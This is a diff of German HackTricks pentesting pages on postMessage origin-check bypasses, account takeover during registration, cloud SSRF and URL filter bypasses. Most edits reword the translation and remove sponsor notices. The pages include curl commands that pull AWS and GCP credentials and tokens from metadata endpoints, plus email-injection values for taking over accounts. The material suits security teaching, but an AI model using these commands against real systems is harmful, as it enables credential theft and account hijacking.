PostMessage-Ereignissen kann anfällig für Umgehungen sein. Ein Beispiel, das diese Schwachstelle veranschaulicht, ist: @@ -118,12 +105,12 @@ Um **Ereignis-Listener** auf der aktuellen Seite zu **finden**, können Sie: ```javascript ("https://app-sj17.marketo.com").indexOf("https://app-sj17.ma") ``` -* Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Strings. Alles, was kein regexp ist, führt zu einer impliziten Umwandlung in regex, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regex ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel: +* Die **`search()`** Methode von `String.prototype.search()` ist für reguläre Ausdrücke gedacht, nicht für Zeichenfolgen. Alles, was kein regulärer Ausdruck ist, führt zu einer impliziten Umwandlung in einen regulären Ausdruck, was die Methode potenziell unsicher macht. Dies liegt daran, dass in regulären Ausdrücken ein Punkt (.) als Platzhalter fungiert, was die Umgehung der Validierung mit speziell gestalteten Domains ermöglicht. Zum Beispiel: ```javascript "https://www.safedomain.com".search("www.s.fedomain.com") ``` -* Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet regex. Wenn das regex nicht richtig strukturiert ist, könnte es anfällig für Umgehungen sein. +* Die **`match()`** Funktion, ähnlich wie `search()`, verarbeitet reguläre Ausdrücke. Wenn der reguläre Ausdruck nicht richtig strukturiert ist, könnte er anfällig für Umgehungen sein. * Die **`escapeHtml`** Funktion soll Eingaben bereinigen, indem sie Zeichen maskiert. Sie erstellt jedoch kein neues maskiertes Objekt, sondern überschreibt die Eigenschaften des vorhandenen Objekts. Dieses Verhalten kann ausgenutzt werden. Insbesondere, wenn ein Objekt so manipuliert werden kann, dass seine kontrollierte Eigenschaft `hasOwnProperty` nicht anerkennt, wird die `escapeHtml` nicht wie erwartet funktionieren. Dies wird in den folgenden Beispielen demonstriert: * Erwarteter Fehler: @@ -141,16 +128,16 @@ result = u(new Error("'\"\\")); result.message; // "'"\" ``` -Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt. +Im Kontext dieser Schwachstelle ist das `File` Objekt besonders ausnutzbar aufgrund seiner schreibgeschützten `name` Eigenschaft. Diese Eigenschaft wird bei der Verwendung in Vorlagen nicht von der `escapeHtml` Funktion bereinigt, was zu potenziellen Sicherheitsrisiken führt. * Die `document.domain` Eigenschaft in JavaScript kann von einem Skript gesetzt werden, um die Domain zu verkürzen, was eine lockerere Durchsetzung der Same-Origin-Policy innerhalb derselben übergeordneten Domain ermöglicht. -### e.origin == window.origin umgehen +### e.origin == window.origin Umgehung Beim Einbetten einer Webseite in ein **sandboxed iframe** mit %%%%%% ist es wichtig zu verstehen, dass die Herkunft des iframes auf null gesetzt wird. Dies ist besonders wichtig, wenn es um **Sandbox-Attribute** und deren Auswirkungen auf Sicherheit und Funktionalität geht. Durch die Angabe von **`allow-popups`** im Sandbox-Attribut erbt jedes Popup-Fenster, das aus dem iframe geöffnet wird, die Sandbox-Beschränkungen seines übergeordneten Elements. Das bedeutet, dass, es sei denn, das **`allow-popups-to-escape-sandbox`** Attribut ist ebenfalls enthalten, die Herkunft des Popup-Fensters ebenfalls auf `null` gesetzt wird, was mit der Herkunft des iframes übereinstimmt. -Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** wahr ist (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen. +Folglich, wenn ein Popup unter diesen Bedingungen geöffnet wird und eine Nachricht vom iframe an das Popup mit **`postMessage`** gesendet wird, haben sowohl die sendende als auch die empfangende Seite ihre Ursprünge auf `null` gesetzt. Diese Situation führt zu einem Szenario, in dem **`e.origin == window.origin`** als wahr ausgewertet wird (`null == null`), da sowohl das iframe als auch das Popup denselben Ursprungswert von `null` teilen. Für weitere Informationen **lesen** Sie: @@ -160,7 +147,7 @@ Für weitere Informationen **lesen** Sie: ### Umgehung von e.source -Es ist möglich zu überprüfen, ob die Nachricht vom selben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde): +Es ist möglich zu überprüfen, ob die Nachricht aus demselben Fenster stammt, in dem das Skript lauscht (insbesondere interessant für **Content Scripts von Browsererweiterungen**, um zu überprüfen, ob die Nachricht von derselben Seite gesendet wurde): ```javascript // If it’s not, return immediately. if( received_message.source !== window ) { @@ -235,29 +222,18 @@ Für **weitere Informationen**: * [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd) * Zum Üben: [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen anbietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} -Lernen & Üben von AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & Üben von GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-HackTricks unterstützen +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/pentesting-web/registration-vulnerabilities.md b/pentesting-web/registration-vulnerabilities.md index 2eecd415d..1f58dabf5 100644 --- a/pentesting-web/registration-vulnerabilities.md +++ b/pentesting-web/registration-vulnerabilities.md @@ -15,29 +15,16 @@ Lerne & übe GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** ## Registrierung Übernahme ### Doppelte Registrierung -* Versuche, einen bestehenden Benutzernamen zu verwenden +* Versuche, einen bestehenden Benutzernamen zu generieren * Überprüfe verschiedene E-Mails: * Großbuchstaben * \+1@ -* füge einen Punkt in der E-Mail hinzu +* füge einen Punkt in die E-Mail ein * Sonderzeichen im E-Mail-Namen (%00, %09, %20) * Setze schwarze Zeichen nach der E-Mail: `test@test.com a` * victim@gmail.com@attacker.com @@ -45,7 +32,7 @@ Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter ### Benutzernamen Enumeration -Überprüfe, ob du herausfinden kannst, ob ein Benutzername bereits in der Anwendung registriert ist. +Überprüfe, ob du herausfinden kannst, wann ein Benutzername bereits in der Anwendung registriert wurde. ### Passwort-Richtlinie @@ -54,7 +41,7 @@ In diesem Fall kannst du versuchen, Anmeldeinformationen zu bruteforcen. ### SQL-Injection -[**Überprüfe diese Seite** ](sql-injection/#insert-statement), um zu lernen, wie man Kontoübernahmen versucht oder Informationen über **SQL-Injection** in Registrierungsformularen extrahiert. +[**Überprüfe diese Seite** ](sql-injection/#insert-statement), um zu lernen, wie man Konten übernimmt oder Informationen über **SQL-Injection** in Registrierungsformularen extrahiert. ### Oauth Übernahmen @@ -88,7 +75,7 @@ Wenn registriert, versuche, die E-Mail zu ändern und überprüfe, ob diese Änd 3. Ändere das Passwort nicht 4. Klicke auf beliebige 3rd Party-Websites (z.B.: Facebook, Twitter) 5. Fange die Anfrage im Burp Suite Proxy ab -6. Überprüfe, ob der Referer-Header das Passwortzurücksetzungs-Token leakt. +6. Überprüfe, ob der Referer-Header das Passwortzurücksetzungstoken leakt. ### Passwortzurücksetzung Vergiftung @@ -115,16 +102,16 @@ email=victim@mail.com,hacker@mail.com email=victim@mail.com%20hacker@mail.com email=victim@mail.com|hacker@mail.com ``` -### IDOR on API Parameters +### IDOR bei API-Parametern 1. Angreifer müssen sich mit ihrem Konto anmelden und zur Funktion **Passwort ändern** gehen. 2. Starten Sie die Burp Suite und fangen Sie die Anfrage ab. 3. Senden Sie sie an den Repeater-Tab und bearbeiten Sie die Parameter: Benutzer-ID/E-Mail\ `powershell POST /api/changepass [...] ("form": {"email":"victim@email.com","password":"securepwd"})` -### Weak Password Reset Token +### Schwaches Passwort-Zurücksetzen-Token -Das Passwort-Reset-Token sollte zufällig generiert und jedes Mal einzigartig sein.\ +Das Passwort-Zurücksetzen-Token sollte zufällig generiert und jedes Mal einzigartig sein.\ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. In einigen Fällen ist der Generierungsalgorithmus schwach und kann erraten werden. Die folgenden Variablen könnten vom Algorithmus verwendet werden. * Zeitstempel @@ -138,29 +125,29 @@ Versuchen Sie zu bestimmen, ob das Token abläuft oder ob es immer dasselbe ist. * Token-Wiederverwendung * Ablaufdatum des Tokens -### Leaking Password Reset Token +### Leckendes Passwort-Zurücksetzen-Token -1. Lösen Sie eine Passwort-Reset-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com +1. Lösen Sie eine Passwort-Zurücksetzen-Anfrage über die API/UI für eine bestimmte E-Mail aus, z.B.: test@mail.com 2. Überprüfen Sie die Serverantwort und suchen Sie nach `resetToken` 3. Verwenden Sie dann das Token in einer URL wie `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]` -### Password Reset Via Username Collision +### Passwort-Zurücksetzen über Benutzernamen-Kollision 1. Registrieren Sie sich im System mit einem Benutzernamen, der identisch mit dem Benutzernamen des Opfers ist, jedoch mit Leerzeichen vor und/oder nach dem Benutzernamen. z.B.: `"admin "` -2. Fordern Sie einen Passwort-Reset mit Ihrem böswilligen Benutzernamen an. +2. Fordern Sie ein Passwort-Zurücksetzen mit Ihrem böswilligen Benutzernamen an. 3. Verwenden Sie das Token, das an Ihre E-Mail gesendet wurde, und setzen Sie das Passwort des Opfers zurück. 4. Melden Sie sich mit dem neuen Passwort beim Konto des Opfers an. Die Plattform CTFd war anfällig für diesen Angriff.\ Siehe: [CVE-2020-7245](https://nvd.nist.gov/vuln/detail/CVE-2020-7245) -### Account Takeover Via Cross Site Scripting +### Kontoübernahme über Cross Site Scripting 1. Finden Sie ein XSS innerhalb der Anwendung oder einer Subdomain, wenn die Cookies auf die übergeordnete Domain beschränkt sind: `*.domain.com` -2. Leaken Sie das aktuelle **Sitzungscookie** +2. Lecken Sie das aktuelle **Sitzungscookie** 3. Authentifizieren Sie sich als der Benutzer mit dem Cookie -### Account Takeover Via HTTP Request Smuggling +### Kontoübernahme über HTTP Request Smuggling 1\. Verwenden Sie **smuggler**, um den Typ des HTTP Request Smuggling (CL, TE, CL.TE) zu erkennen\ `powershell git clone https://github.com/defparam/smuggler.git cd smuggler python3 smuggler.py -h`\ @@ -202,17 +189,6 @@ JSON Web Token könnte verwendet werden, um einen Benutzer zu authentifizieren. * [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover) -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **dark-web**-gestützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Ihr Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die aus informationsstehlender Malware resultieren. - -Sie können ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} {% hint style="success" %} Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md index 7aacbf4f8..717f26bb8 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md +++ b/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md @@ -15,26 +15,18 @@ Lerne & übe GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## AWS ### Missbrauch von SSRF in der AWS EC2-Umgebung **Der Metadaten** Endpunkt kann von innerhalb jeder EC2-Maschine aufgerufen werden und bietet interessante Informationen darüber. Er ist unter der URL zugänglich: `http://169.254.169.254` ([Informationen über die Metadaten hier](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)). -Es gibt **2 Versionen** des Metadatenendpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jeder **SSRF es ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musst du ein **Token** anfordern, indem du eine **PUT**-Anfrage mit einem **HTTP-Header** sendest und dann dieses Token verwendest, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einem SSRF). +Es gibt **2 Versionen** des Metadatenendpunkts. Die **erste** erlaubt den **Zugriff** auf den Endpunkt über **GET**-Anfragen (so kann jede **SSRF ihn ausnutzen**). Für die **Version 2**, [IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html), musst du ein **Token** anfordern, indem du eine **PUT**-Anfrage mit einem **HTTP-Header** sendest und dann dieses Token verwendest, um mit einem anderen HTTP-Header auf die Metadaten zuzugreifen (es ist also **komplizierter auszunutzen** mit einer SSRF). {% hint style="danger" %} Beachte, dass wenn die EC2-Instanz IMDSv2 durchsetzt, [**laut den Dokumenten**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html), die **Antwort der PUT-Anfrage** ein **Hop-Limit von 1** haben wird, was es unmöglich macht, auf die EC2-Metadaten von einem Container innerhalb der EC2-Instanz zuzugreifen. -Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For`-Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können. +Darüber hinaus wird **IMDSv2** auch **Anfragen blockieren, um ein Token abzurufen, die den `X-Forwarded-For` Header enthalten**. Dies dient dazu, zu verhindern, dass falsch konfigurierte Reverse-Proxys darauf zugreifen können. {% endhint %} Du kannst Informationen über die [Metadatenendpunkte in den Dokumenten finden](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Im folgenden Skript werden einige interessante Informationen daraus gewonnen: @@ -118,9 +110,9 @@ Beachten Sie das **aws\_session\_token**, dies ist unerlässlich, damit das Prof **ECS** ist eine logische Gruppe von EC2-Instanzen, auf denen Sie eine Anwendung ausführen können, ohne Ihre eigene Clusterverwaltungsinfrastruktur skalieren zu müssen, da ECS das für Sie verwaltet. Wenn es Ihnen gelingt, einen Dienst, der in **ECS** läuft, zu kompromittieren, ändern sich die **Metadatenendpunkte**. -Wenn Sie _**http://169.254.170.2/v2/credentials/\**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \** finden. Um das \ zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\ +Wenn Sie _**http://169.254.170.2/v2/credentials/\**_ aufrufen, finden Sie die Anmeldeinformationen der ECS-Maschine. Aber zuerst müssen Sie **das \ finden**. Um das \ zu finden, müssen Sie die **environ**-Variable **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** innerhalb der Maschine lesen.\ Sie könnten in der Lage sein, dies auszulesen, indem Sie eine **Path Traversal** zu `file:///proc/self/environ` ausnutzen.\ -Die genannte http-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben. +Die genannte HTTP-Adresse sollte Ihnen den **AccessKey, SecretKey und Token** geben. ```bash curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O - ``` @@ -130,7 +122,7 @@ Beachten Sie, dass Sie in **einigen Fällen** auf die **EC2-Metadateninstanz** v ### SSRF für AWS Lambda -In diesem Fall sind die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen. +In diesem Fall werden die **Anmeldeinformationen in Umgebungsvariablen gespeichert**. Um auf sie zuzugreifen, müssen Sie auf etwas wie **`file:///proc/self/environ`** zugreifen. Die **Namen** der **interessanten Umgebungsvariablen** sind: @@ -138,10 +130,10 @@ Die **Namen** der **interessanten Umgebungsvariablen** sind: * `AWS_SECRET_ACCESS_KEY` * `AWS_ACCES_KEY_ID` -Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [Laufzeit-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich. +Darüber hinaus haben Lambda-Funktionen neben IAM-Anmeldeinformationen auch **Ereignisdaten, die an die Funktion übergeben werden, wenn sie gestartet wird**. Diese Daten werden der Funktion über die [Runtime-Schnittstelle](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html) zur Verfügung gestellt und könnten **sensible** **Informationen** enthalten (wie in den **stageVariables**). Im Gegensatz zu IAM-Anmeldeinformationen sind diese Daten über standardmäßiges SSRF unter **`http://localhost:9001/2018-06-01/runtime/invocation/next`** zugänglich. {% hint style="warning" %} -Beachten Sie, dass die **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**. +Beachten Sie, dass **Lambda-Anmeldeinformationen** in den **Umgebungsvariablen** enthalten sind. Wenn der **Stack-Trace** des Lambda-Codes Umgebungsvariablen ausgibt, ist es möglich, sie **durch Provokation eines Fehlers** in der App zu **exfiltrieren**. {% endhint %} ### SSRF-URL für AWS Elastic Beanstalk @@ -250,7 +242,7 @@ curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?rec curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \ -H "Metadata-Flavor: Google" ``` -Beta benötigt derzeit keinen Header (danke Mathias Karlsson @avlidienbrunn) +Beta benötigt derzeit KEINEN Header (danke Mathias Karlsson @avlidienbrunn) ``` http://metadata.google.internal/computeMetadata/v1beta1/ http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true @@ -276,7 +268,7 @@ Extrahieren Sie das Token ``` http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json ``` -Überprüfen Sie den Umfang des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen) +Überprüfen Sie den Geltungsbereich des Tokens (mit der vorherigen Ausgabe oder indem Sie Folgendes ausführen) ```bash curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA { "issued_to": "101302079XXXXX", @@ -564,23 +556,17 @@ Die Metadaten von Rancher können über folgenden Link abgerufen werden: * `curl http://rancher-metadata//` -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md index 280231209..5bd2ce4cb 100644 --- a/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md +++ b/pentesting-web/ssrf-server-side-request-forgery/url-format-bypass.md @@ -1,28 +1,20 @@ # URL Format Bypass {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs zu den** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ### Localhost ```bash # Localhost @@ -170,13 +162,13 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path ``` ### Fuzzing -Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Siehe auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen. +Das Tool [**recollapse**](https://github.com/0xacb/recollapse) kann Variationen aus einem gegebenen Input generieren, um den verwendeten Regex zu umgehen. Überprüfen Sie auch [**diesen Beitrag**](https://0xacb.com/2022/11/21/recollapse/) für weitere Informationen. ### Bypass über Umleitung -Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** einer SSRF **filtert**, aber nicht eine mögliche **Umleitungs**antwort auf diese Anfrage.\ +Es könnte möglich sein, dass der Server **die ursprüngliche Anfrage** einer SSRF **filtert, aber nicht** eine mögliche **Umleitungs**antwort auf diese Anfrage.\ Zum Beispiel könnte ein Server, der anfällig für SSRF über: `url=https://www.google.com/` ist, **den url-Parameter filtern**. Aber wenn Sie einen [Python-Server verwenden, um mit einem 302 zu antworten](https://pastebin.com/raw/ywAUhFrv) an den Ort, an den Sie umleiten möchten, könnten Sie in der Lage sein, **gefilterte IP-Adressen** wie 127.0.0.1 oder sogar gefilterte **Protokolle** wie gopher zu **zugreifen**.\ -[Schauen Sie sich diesen Bericht an.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) +[Überprüfen Sie diesen Bericht.](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530) ```python #!/usr/bin/env python3 @@ -216,11 +208,6 @@ Bild von [https://claroty.com/2022/01/10/blog-research-exploiting-url-parsing-co * [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ diff --git a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md index 55ffbeea8..a22713087 100644 --- a/pentesting-web/ssti-server-side-template-injection/el-expression-language.md +++ b/pentesting-web/ssti-server-side-template-injection/el-expression-language.md @@ -15,23 +15,9 @@ Lerne & übe GCP Hacking: {% endhint %} -### [WhiteIntel](https://whiteintel.io) +## Grundlegende Informationen -
- -[**WhiteIntel**](https://whiteintel.io) ist eine **Dark-Web**-unterstützte Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder dessen Kunden durch **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Du kannst ihre Website besuchen und ihre Engine **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - -## Grundinformationen - -Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Es wird hauptsächlich in: +Die Expression Language (EL) ist integraler Bestandteil von JavaEE, um die Präsentationsschicht (z. B. Webseiten) und die Anwendungslogik (z. B. verwaltete Beans) zu verbinden und deren Interaktion zu ermöglichen. Sie wird hauptsächlich in: * **JavaServer Faces (JSF)**: Zum Binden von UI-Komponenten an Backend-Daten/Aktionen. * **JavaServer Pages (JSP)**: Für den Datenzugriff und die Manipulation 